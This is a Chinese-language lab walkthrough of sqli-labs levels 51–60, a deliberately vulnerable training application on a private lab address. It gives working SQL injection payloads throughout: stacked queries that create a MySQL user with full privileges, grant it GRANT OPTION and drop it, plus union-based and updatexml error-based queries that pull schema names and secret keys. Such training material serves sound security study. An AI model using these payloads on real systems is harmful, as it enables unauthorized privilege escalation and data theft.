目录
Less51
浏览器地址栏输入如下url,返回sql语法错误,从报错可知闭合是单引号
http://192.168.101.16/sqli-labs-master/Less-51/?sort=1'
这关就堆叠注入而言,除了闭合,其他应该和上一关没多大区别。
这关再来点新花样,用堆叠注入创建一个新用户。创建新用户之前,先在服务器上确认一下,现在只有下图这三个用户。
然后在浏览器地址栏输入如下payload
http://192.168.101.16/sqli-labs-master/Less-51/?sort=1';CREATE USER 'xiannv'@'localhost';GRANT ALL PRIVILEGES ON *.* TO 'xiannv'@'localhost';-- s
然后再到服务器上确认一下,发现新用户xiannv已经创建了,并且拥有除Grant Option之外的所有权限
这关源代码也不分析了,和Less50相比只是多了单引号闭合。
Less52
浏览器地址栏输入如下url,返回正确查询结果
http://192.168.101.16/sqli-labs-master/Less-52/?sort=1
浏览器地址栏输入如下url,不返回查询结果。
http://192.168.101.16/sqli-labs-master/Less-52/?sort=1'
http://192.168.101.16/sqli-labs-master/Less-52/?sort=1"
由此可知,本关没有闭合,是数字型。
上一关中用堆叠注入创建的数据库用户xiannv没有grant option权限,这关就用堆叠注入把这个权限授予她吧
浏览器地址栏输入payload:
http://192.168.101.16/sqli-labs-master/Less-52/?sort=1;GRANT grant option ON *.* TO 'xiannv'@'localhost'
再到服务器上瞅瞅,发现xiannv@localhost已经有grant option的权限了
在网上看到一篇说mysql用户权限管理的好文章,mark一下:Mysql 用户权限管理 - keme - 博客园 (cnblogs.com)
Less53
浏览器地址栏输入下面两个url有正确的sql查询结果
http://192.168.101.16/sqli-labs-master/Less-53/?sort=1
http://192.168.101.16/sqli-labs-master/Less-53/?sort=1"
输入下面的url不返回查询结果,可以判断闭合包含单引号
http://192.168.101.16/sqli-labs-master/Less-53/?sort=1'
输入下面的url,有正确的sql查询结果,可以判断闭合是单引号
http://192.168.101.16/sqli-labs-master/Less-53/?sort=1'-- s
接下来用堆叠注入把Less51创建的数据库用户xiannv删掉吧
浏览器地址栏输入如下payload:
http://192.168.101.16/sqli-labs-master/Less-53/?sort=1';DROP USER 'xiannv'@'localhost';-- s
再到服务器上一看,用户'xiannv'@'localhost'果然没有了
Less54
从这关开始就全是challenge了,就是要在规定步数之类完成特定任务。
比如本关要在10步之内找到CHALLENGES数据库中的secret key并提交
第1步:看看正常情况。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-54/?id=1
回显正确的查询结果。
第2步:看看闭合含不含单引号。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-54/?id=1'
不回显查询结果,说明闭合包含单引号,或者没有闭合(数字型)。
第3步:确认闭合符号。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-54/?id=1'-- s
回显正确的查询结果,说明闭合是单引号。
第4步:猜列数。其实根据之前的关卡已经可以知道这边查询结果是3列了,不过既然这关给的步数限制比较多,那就稍微正经一点,挥霍一下吧。
浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-54/?id=1' order by 3-- s
回显正确的查询结果。
第5步:继续猜列数。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-54/?id=1' order by 4-- s
不回显查询结果,结合上一步,可知查询结果有3列。
第6步:union注入爆表名和列名。
由于题目已经说明了数据库名是CHALLENGES了,所以这里就不用爆库名了。为了节省步数(其实这一关好像还没啥必要),我决定表名和列名在同一个语句中一起爆。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-54/?id=-1' union select 1,2,group_concat(concat(table_name,'~',column_name)) from information_schema.columns where table_schema='challenges'-- s
回显的查询结果爆出了表名:m1pzj77a67,列名:id,sessid,secret_TQQ8和tryy
第7步:拿secret key。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-54/?id=-1' union select 1,2,secret_TQQ8 from CHALLENGES.m1pzj77a67-- s
回显的查询结果包含secret key:X4nsyosN33eZXTou83SDCjSU
将其填到提交secret key的提交框并submit即可过关。
Less55
这关的要求是在14步之内找到CHALLENGES数据库中的secret key并提交,限制步数比上一关多,看来可能比上一关难点。
第1步:看看正常情况。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-55/?id=1
回显正确的查询结果。
第2步:看看闭合含不含单引号。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-55/?id=1'
不回显查询结果,说明闭合可能包含单引号,或者没有闭合(数字型)。
第3步:看看闭合是否包含双引号。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-55/?id=1"
不回显查询结果,说明闭合可能包含双引号,或者没有闭合(数字型)。
第4步:结合上面两步的结果,是数字型的概率很大。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-55/?id=1-- s
不回显查询结果,说明还是需要闭合的。
第5步:先不着急乱猜,根据步骤2~3分析一下,如果需要闭合单引号或者双引号,应该url结尾加双引号或者单引号至少有一个能得到正确的查询结果才对,但现在两种情况都不返回查询结果,说明闭合不包含引号。那试试括号是不是闭合符吧,浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-55/?id=1)-- s
返回正确的查询结果了,本关闭合符号是括号。
第6步:猜列数。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-55/?id=1) order by 3-- s
返回正确查询结果
第7步:继续猜列数。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-55/?id=1) order by 4-- s
不返回查询结果,结合上一步可知,查询结果有3列。
第8步:union注入同时爆表名和列名。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-55/?id=-1) union select 1,2,group_concat(concat(table_name,'~',column_name)) from information_schema.columns where table_schema='challenges'-- s
得到表名:pmr9brqkfr,列名:id,sessid,secret_WXJO,tryy
第9步:得到secret key。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-55/?id=-1) union select 1,2,secret_WXJO from challenges.pmr9brqkfr-- s
得到secret key:C400uBggDWqhqL6JsKzwkQNC
Less56
本关要求依旧是在14步之内找到CHALLENGES数据库中的secret key并提交。
第1步:看看正常查询结果。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-56/?id=1
回显正确的查询结果。
第2步:看看闭合是否包含单引号。 浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-56/?id=1'
不返回查询结果,说明闭合可能包含单引号,也可能没有闭合(数字型)
第3步: 看看闭合是否包含双引号。 浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-56/?id=1"
返回了正确的查询结果,说明闭合不包含双引号。并且结合上一步可以确认,闭合包含单引号。
第4步:看看闭合是否是单引号。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-56/?id=1'-- s
不返回查询结果,说明闭合除了单引号,还包含其他符号。
第5步:看看闭合是否是')。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-56/?id=1')-- s
返回了正确的查询结果,说明闭合是')
第6步:猜列数。 浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-56/?id=1') order by 3-- s
返回了正确的查询结果,说明列数大于等于3
第7步:继续猜列数。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-56/?id=1') order by 4-- s
不返回查询结果,结合上一步,说明查询结果有3列。
第8步:union注入同时爆表名和列名。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-56/?id=-1') union select 1,2,group_concat(concat(table_name,'~',column_name)) from information_schema.columns where table_schema='challenges'-- s
得到表名:ey1ib6h4jw,列名:id,sessid,secret_UMWT,tryy
第9步:得到secret key。 浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-56/?id=-1') union select 1,2,secret_UMWT from challenges.ey1ib6h4jw-- s
得到secret key:UAeT2GPChCGCMdvzkhBtY3mK
Less57
本关要求依旧是在14步之内找到CHALLENGES数据库中的secret key并提交。
步骤1:看看正常情况。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-57/?id=1
返回正确查询结果。
步骤2:看看闭合是否包含单引号。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-57/?id=1'
返回正确查询结果,说明闭合不包含单引号。
步骤3:看看闭合是否包含双引号。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-57/?id=1"
不返回查询结果,说明闭合包含双引号。
步骤4:确认闭合是否是双引号。 浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-57/?id=1"-- s
返回正确查询结果,说明闭合就是双引号。
步骤5:猜列数。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-57/?id=1" order by 3-- s
返回正确查询结果,说明列数大于等于3
步骤6:继续猜列数。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-57/?id=1" order by 4-- s
不返回查询结果,说明查询结果有3列。
步骤7:union注入同时爆表名和列名。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-57/?id=-1" union select 1,2,group_concat(concat(table_name,'~',column_name)) from information_schema.columns where table_schema='challenges'-- s
得到表名:ab50y8469w,列名:id,sessid,secret_OOXZ,tryy
步骤8:得到secret key。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-57/?id=-1" union select 1,2,secret_OOXZ from challenges.ab50y8469w-- s
得到secret key:7zMYlzIFli6W7XvNm4v3TUBq
Less58
本关要求在5步之内找到CHALLENGES数据库中的secret key并提交。
步骤1:看看正常情况。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-58/?id=1
有红框所示的返回结果(这里的结果不是数据库查询结果,是服务端代码玩的一个小花样,所以本关就算没有步数限制也不能用union注入)。
步骤2:看看闭合是否包含单引号。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-58/?id=1'
发现有报错,报错表名本关的闭合就是单引号。考虑到报错注入比union注入所需步骤少,所以本关用报错注入。
步骤3:用报错注入获取表名。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-58/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,31),0x7e),1)-- s
得到表名:6y21vkvbfl
步骤4:得到列名。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-58/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='6y21vkvbfl'),1,31),0x7e),1)-- s
得到列名:id,sessid,secret_33BN,tryy
(忘记截图了,重来的话,表名和列名都要变了,假装这边有个图吧……)
步骤5:得到secret key。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-58/?id=1' and updatexml(1,concat(0x7e,substr((select secret_33BN from challenges.6y21vkvbfl),1,31),0x7e),1)-- s
得到secret key:h9SJet6HycYVr3dG0418HiKT
Less59
本关要求也是在5步之内找到CHALLENGES数据库中的secret key并提交。
步骤1:先看看正常情况。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-59/?id=1
有红框所示的返回结果
步骤2:看看闭合是否包含单引号。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-59/?id=1'
得到报错信息,通过报错信息可知,本关是数字型,无闭合符号。
步骤3:用报错注入获取表名。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-59/?id=1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,31),0x7e),1)-- s
得到表名:kd33qrjwiw
步骤4:用报错注入获取列名。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-59/?id=1 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='kd33qrjwiw'),1,31),0x7e),1)-- s
得到列名:id,sessid,secret_ZCP4,tryy
步骤5:用报错注入获取secret key。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-59/?id=1 and updatexml(1,concat(0x7e,substr((select secret_ZCP4 from challenges.kd33qrjwiw),1,31),0x7e),1)-- s
得到secret key:YQmYxQmYvwIqIWyCJSEma819
Less60
本关要求也是在5步之内找到CHALLENGES数据库中的secret key并提交。
步骤1:先看看正常情况。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-60/?id=1
有红框所示的返回结果
步骤2:看看闭合是否包含双引号。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-60/?id=1"
返回报错信息,通过报错信息可知,本关闭合符号是")
步骤3: 用报错注入获取表名。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-60/?id=1") and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,31),0x7e),1)-- s
得到表名:pilov0q6gw
步骤4:用报错注入获取列名。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-60/?id=1") and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='pilov0q6gw'),1,31),0x7e),1)-- s
得到列名:id,sessid,secret_SKRP,tryy
步骤5:用报错注入获取secret key。浏览器地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-60/?id=1") and updatexml(1,concat(0x7e,substr((select secret_SKRP from challenges.pilov0q6gw),1,31),0x7e),1)-- s
得到secret key:Q75wD9fVwvK1mql1UjQhLwSj